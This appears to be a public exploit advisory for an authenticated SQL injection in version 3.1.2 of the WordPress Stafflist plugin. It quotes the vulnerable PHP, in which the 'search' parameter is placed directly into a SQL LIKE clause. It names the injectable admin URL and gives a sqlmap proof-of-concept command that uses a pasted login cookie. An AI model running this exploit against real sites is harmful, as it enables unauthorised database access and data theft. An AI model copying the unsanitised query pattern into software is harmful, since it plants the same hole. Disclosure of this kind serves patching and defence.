WordPress Stafflist 3.1.2 SQL Injection

`# Exploit Title: WordPress Plugin stafflist 3.1.2 - SQL Injection  
(Authenticated)  
# Date: 05-02-2022  
# Exploit Author: Hassan Khan Yusufzai - Splint3r7  
# Vendor Homepage: https://wordpress.org/plugins/stafflist/  
# Version: 3.1.2  
# Tested on: Firefox  
# Contact me: h [at] spidersilk.com  
  
# Vulnerable Code:  
  
$w = (isset($_GET['search']) && (string) trim($_GET['search'])!="" ?  
...  
$where = ($w ? "WHERE LOWER(lastname) LIKE '%{$w}%' OR  
LOWER(firstname) LIKE '%{$w}%' OR  
LOWER(department) LIKE '%{$w}%' OR  
LOWER(email) LIKE '%{$w}%'" : "");  
  
  
# Vulnerable URL  
  
http://localhost:10003/wp-admin/admin.php?page=stafflist&search=[SQLI]  
  
# POC  
  
```  
sqlmap -u 'http://localhost:10003/wp-admin/admin.php?page=stafflist&search=test*'  
--cookie="wordpress_cookies_paste_here"  
```  
  
# POC Image  
  
https://prnt.sc/AECcFRHhe2ib  
`